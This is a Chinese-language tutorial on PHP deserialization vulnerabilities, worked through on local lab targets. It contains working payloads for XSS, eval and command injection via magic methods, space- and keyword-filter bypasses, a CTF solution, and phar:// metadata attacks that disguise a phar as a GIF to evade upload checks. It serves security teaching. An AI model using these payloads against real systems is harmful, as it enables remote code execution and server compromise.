在进行反序列化时会执行类中的魔法函数,如果魔法函数的参数是输入可控的那么就可能造成命令执行漏洞

pikachu

界面如下:

查看后端部分源码:

class S{
var $test = "pikachu";
function __wakeup(){
echo $this->test;
sleep(5);
}
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}

}
?>

发现没有对输入做任何过滤,那就随便构造payload

O:1:”S”:1:{s:4:”test”;s:29:”<script>alert('xss')</script>“;}

传到后端后首先反序列化,然后调用wakeup魔法函数,即回显test变量,这个时候前台就会弹窗xss

漏洞实例

最简单的一个demo

源码:

<?php

class Test{

public $str='GGG';

function __destruct(){

//echo "This is function __contruct()";

@eval($this->str);

}

}

$test = new Test();

echo serialize($test);

echo "<hr />";

var_dump(unserialize($_GET['obj']));

?>

输入如下:

http://127.0.0.1/fanxu/1.php?obj=O:4:"Test":1:{s:3:"str";s:10:"phpinfo();";}

成功回显

利用反序列化漏洞来进行命令执行

<?php
class home{
private $method;
private $args;

function __construct($method,$args)
{
$this->method=$method;
$this->args=$args;
}

/*
* 在对象被销毁时,会自动调用__destruct()方法
* 此方法中会执行回调函数,即ping方法
* 可以在实例化对象时将method设为ping,尝试命令执行
*/
function __destruct(){
// in_array() 函数搜索数组中是否存在指定的值,这里method如果是ping,则返回true
if (in_array($this->method,array("ping"))){
// 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array(array($this,$this->method),$this->args);
}
}

/*
* ping方法使用了system执行系统命令,为可利用点
*/
function ping($host){
echo system("ping -c 2 $host");
}

function waf($str){
$str=str_replace(' ','',$str);
return $str;
}

function __wakeup(){
$this->waf($this->args);
}
}

$a=@$_POST['a'];
@unserialize($a);

?>

由代码看出来执行顺序为$a->unserialize->wakeup->waf->destruct->ping

当我们反序列化时首先执行wakeup函数,它会将args变量送入waf进行过滤,该waf较为简单只是过滤了空格

destruct函数规定了method必须为ping

call_user_func_array的参数必须是数组类型,所以$this->args必须是数组

注意:

类中属性为private时,表示方式是在属性名前加上 %00类名%00

类中属性为protected时,表示方式是在属性名前加上 %00%00*

构造序列化字符串如下:

O:4:”home”:2:{s:12:”%00home%00method”;s:4:”ping”;s:10:”%00home%00args”;a:1:{i:0;s:16:”127.0.0.1|whoami”;};}

成功回显:

空格过滤绕过

waf对于空格进行了过滤,如果我们要查看当前目录下的flag.txt时,type或者cat都有空格

那么可以通过如下来绕过空格

type.\flag.txt

type,flag.txt

cat${IFS}flag.txt

cat$flag.txt

cat<flag.txt

cat<>flag.txt

{cat,flag.txt}

demo 3(增强waf)

 1 <?php
2 error_reporting(0);
3 class come{
4 private $method;
5 private $args;
6 function __construct($method, $args) {
7 $this->method = $method;
8 $this->args = $args;
9 }
10 function __wakeup(){
11 foreach($this->args as $k => $v) {
12 $this->args[$k] = $this->waf(trim($v));
13 }
14 }
15 function waf($str){
16 $str=preg_replace("/[<>*;|?\n ]/","",$str);
17 $str=str_replace('flag','',$str);
18 return $str;
19 }
20 function echos($host){
21 system("echo $host".$host);
22 }
23 function __destruct(){
24 if (in_array($this->method, array("echos"))) {
25 call_user_func_array(array($this, $this->method), $this->args);
26 }
27 }
28
29 }
30
31 $first='hi';
32 $var='var';
33 $bbb='bbb';
34 $ccc='ccc';
35 $i=1;
36 foreach($_GET as $key => $value) {
37 if($i===1)
38 {
39 $i++;
40 $$key = $value;
41 }
42 else{break;}
43 }
44 if($first==="doller")
45 {
46 @parse_str($_GET['a']);
47 if($var==="give")
48 {
49 if($bbb==="me")
50 {
51 if($ccc==="flag")
52 {
53 echo "<br>welcome!<br>";
54 $come=@$_POST['come'];
55 unserialize($come);
56 }
57 }
58 else
59 {echo "<br>think about it<br>";}
60 }
61 else
62 {
63 echo "NO";
64 }
65 }
66 else
67 {
68 echo "Can you hack me?<br>";
69 }
70 ?>

这是一道反序列化的题目

首先如果要进行反序列化操作,那么就要通过前面的各种if

parse_str函数

表示将字符串解析成多个变量,语法是parse_str(string,array)

比如parse_str(“name=Bill&age=60”)

就相当于

$name=”Bill”;

$age=60;

输入

http://127.0.0.1/fanxu/3.php?first=doller&a=var=give%26bbb=me%26ccc=flag

注意前面一个是&,后面两个是&的url编码%26,因为只有这样服务器才知道参数a的值为var=give&bbb=me&ccc=flag,从而给这三个变量赋值

这时候通过了所有的if判断,页面回显如下:

说明我们进入到反序列化步骤啦,这时候hackbar来构造我们的come参数

  1. 在反序列化时首先会执行wakeup函数

    从foreach可以看出我们传入的args变量必须是数组,然后wakeup会将args的值送到waf中进行过滤再返回回来

  2. 然后会执行destruct函数

    它使用了call_user_func_array这个php内置的方法,第一个参数是要调用的函数,第二个参数必须是一个数组,用于给调用的函数传参。

    我们看看进入call_user_func_array()函数前的if判断,它判断我们要调用的函数名是否在一个允许调用的列表里,而这个列表就只有echos这一个函数,也就是说我们的method变量已经限定死了,必须为echos。

  3. 执行echos函数

    对于echos函数,他可以执行system函数,我们就想可能存在命令执行漏洞

思路:

1、通过反序列化控制method和args两个成员变量来绕过waf

2、 method必须是echos不然通不过if判断

3、通过call_user_func_array()函数第一个参数调用本类中的echos方法,第二个参数给方法传参-

4、由于echos方法中的system函数的参数是拼接形参的,完成命令注入。

我们进行命令注入最主要就是绕过waf,我们来看看waf干了啥:

$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);

过滤掉了[<>*;|?\n ],flag这些字符,其中过滤掉了|我们还有&可以用

&是不管前后命令是否执行成功都会执行前后命令

过滤掉了空格可以用demo2的方法

过滤掉flag可以通过双写绕过

其他的过滤符号对我们命令执行也没啥限制

构造come参数如下:

come=O:4:”come”:2:{s:12:”%00come%00method”;s:5:”echos”;s:10:”%00come%00args”;a:1:{i:0;s:19:”%26type.\flaflagg.txt”;};}

成功拿到flag

https://cloud.tencent.com/developer/article/1485821

phar://来触发反序列化

某些情况下没有unserialize()函数进行反序列化时,可以使用文件系统函数配合phar://来进行反序列化

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

原理

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”

phar文件结构

  1. stub

    可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  2. manifest

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是攻击手法最核心的地方。

  3. contents

    被压缩文件的内容。

  4. signature

    签名,放在文件末尾。

demo测试

首先创建一个phar文件

<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行后就会生成一个phar文件

用记事本查看

明显可以看到meta-data是以序列化的形式存储的

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

测试利用phar文件加文件函数反序列化:

<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

可以看到成功反序列化了

那么我们就可以通过文件上传的方式来触发反序列化漏洞:

后端:

<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class heello{
var $output='echo "heello!";';
function __destruct()
{
eval($this->output);
}
}
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
?>

本地构造phar文件并上传

<?php
class heello {
var $output='phpinfo();';
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new heello();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以看到成功命令执行:

这里虽然没有unserialize()执行反序列化,但可以结合file_exists()函数在通过phar://伪协议解析phar文件时,会将meta-data进行反序列化,进而触发__destruct()函数,利用eval()函数达到命令执行。

将phar伪造成其他格式的文件

在进行文件上传时可能会遇到文件名后缀,以及文件内容检测。而php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
class heello {
var $output='phpinfo();';
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new heello();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

这样给文件加了一个gif的头

然后对生成的phar文件改名123.gif

这样在上传的时候就可以绕过大部分的上传验证

上传完后触发漏洞:

总结

利用条件:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

https://www.wawyw.top/posts/46951.html

https://www.freebuf.com/column/198945.html

https://paper.seebug.org/680/

https://cloud.tencent.com/developer/article/1485821